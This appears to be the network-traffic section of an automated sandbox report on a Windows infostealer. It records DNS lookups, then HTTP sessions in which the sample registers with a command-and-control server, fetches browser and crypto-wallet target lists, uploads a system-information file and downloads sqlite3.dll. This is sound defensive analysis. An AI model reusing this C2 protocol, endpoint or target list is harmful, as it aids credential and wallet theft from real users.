Nov 30, 2024 09:46:12.185017109 CET	1.1.1.1	192.168.2.4	0x6501	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.193938017 CET	1.1.1.1	192.168.2.4	0xfb68	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.193938017 CET	1.1.1.1	192.168.2.4	0xfb68	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.193938017 CET	1.1.1.1	192.168.2.4	0xfb68	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.193938017 CET	1.1.1.1	192.168.2.4	0xfb68	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:12.206104994 CET	1.1.1.1	192.168.2.4	0x4d17	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:39.664138079 CET	1.1.1.1	192.168.2.4	0x99f0	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 30, 2024 09:46:39.664138079 CET	1.1.1.1	192.168.2.4	0x99f0	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:40.602514029 CET	1.1.1.1	192.168.2.4	0x180f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 30, 2024 09:46:40.947942019 CET	1.1.1.1	192.168.2.4	0xb823	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	185.215.113.206	80	6964	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 30, 2024 09:43:58.715958118 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:44:00.095823050 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:43:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:00.109321117 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCGCFCBAKKFBFIECAEBA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 35 33 35 44 38 30 44 31 41 33 45 34 32 35 35 38 33 30 34 33 38 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 72 75 6d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="hwid"C535D80D1A3E4255830438------GCGCFCBAKKFBFIECAEBAContent-Disposition: form-data; name="build"drum------GCGCFCBAKKFBFIECAEBA--
Nov 30, 2024 09:44:00.570907116 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4d 57 49 79 4f 57 56 6a 5a 47 45 35 4d 6a 63 31 4d 6a 4d 32 5a 44 67 30 4f 47 4d 34 4d 7a 67 79 5a 47 4d 31 4d 54 55 35 4e 6d 51 79 5a 44 52 6c 5a 6a 64 6d 59 6a 67 34 4d 7a 41 33 4e 44 59 78 4f 57 46 6d 59 6a 41 78 4e 47 5a 6c 4e 6d 59 31 4d 54 56 69 4d 6d 46 6c 59 32 45 31 4d 6a 49 77 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: MWIyOWVjZGE5Mjc1MjM2ZDg0OGM4MzgyZGM1MTU5NmQyZDRlZjdmYjg4MzA3NDYxOWFmYjAxNGZlNmY1MTViMmFlY2E1MjIwfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 30, 2024 09:44:00.572312117 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKEHJDHJKFIECAAKFIJ Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 2d 2d 0d 0a Data Ascii: ------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------JKKEHJDHJKFIECAAKFIJContent-Disposition: form-data; name="message"browsers------JKKEHJDHJKFIECAAKFIJ--
Nov 30, 2024 09:44:01.021693945 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 30, 2024 09:44:01.022141933 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 30, 2024 09:44:01.023298025 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGDBGDBFIJKECBAKFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 44 42 47 44 42 46 49 4a 4b 45 43 42 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IJEGDBGDBFIJKECBAKFBContent-Disposition: form-data; name="message"plugins------IJEGDBGDBFIJKECBAKFB--
Nov 30, 2024 09:44:01.473510981 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 30, 2024 09:44:01.474034071 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 30, 2024 09:44:01.474045038 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 30, 2024 09:44:01.475959063 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 30, 2024 09:44:01.475975037 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 30, 2024 09:44:01.478044987 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 30, 2024 09:44:01.480976105 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIEBGCBGIDHDGCAKJEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 64 61 39 32 37 35 32 33 36 64 38 34 38 63 38 33 38 32 64 63 35 31 35 39 36 64 32 64 34 65 66 37 66 62 38 38 33 30 37 34 36 31 39 61 66 62 30 31 34 66 65 36 66 35 31 35 62 32 61 65 63 61 35 32 32 30 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 45 42 47 43 42 47 49 44 48 44 47 43 41 4b 4a 45 42 2d 2d 0d 0a Data Ascii: ------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------IIIEBGCBGIDHDGCAKJEBContent-Disposition: form-data; name="message"fplugins------IIIEBGCBGIDHDGCAKJEB--
Nov 30, 2024 09:44:01.929433107 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:01 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 30, 2024 09:44:01.948273897 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFIIEHJDBKJKECBFHDGH Host: 185.215.113.206 Content-Length: 5971 Connection: Keep-Alive Cache-Control: no-cache
Nov 30, 2024 09:44:01.948309898 CET	5971	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 42 46 49 49 45 48 4a 44 42 4b 4a 4b 45 43 42 46 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 62 32 39 65 63 Data Ascii: ------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="token"1b29ecda9275236d848c8382dc51596d2d4ef7fb883074619afb014fe6f515b2aeca5220------BFIIEHJDBKJKECBFHDGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 30, 2024 09:44:03.029866934 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 30, 2024 09:44:03.310817957 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 30, 2024 09:44:03.778502941 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:03 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 30, 2024 09:44:03.779051065 CET	224	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 30, 2024 09:44:03.780951023 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
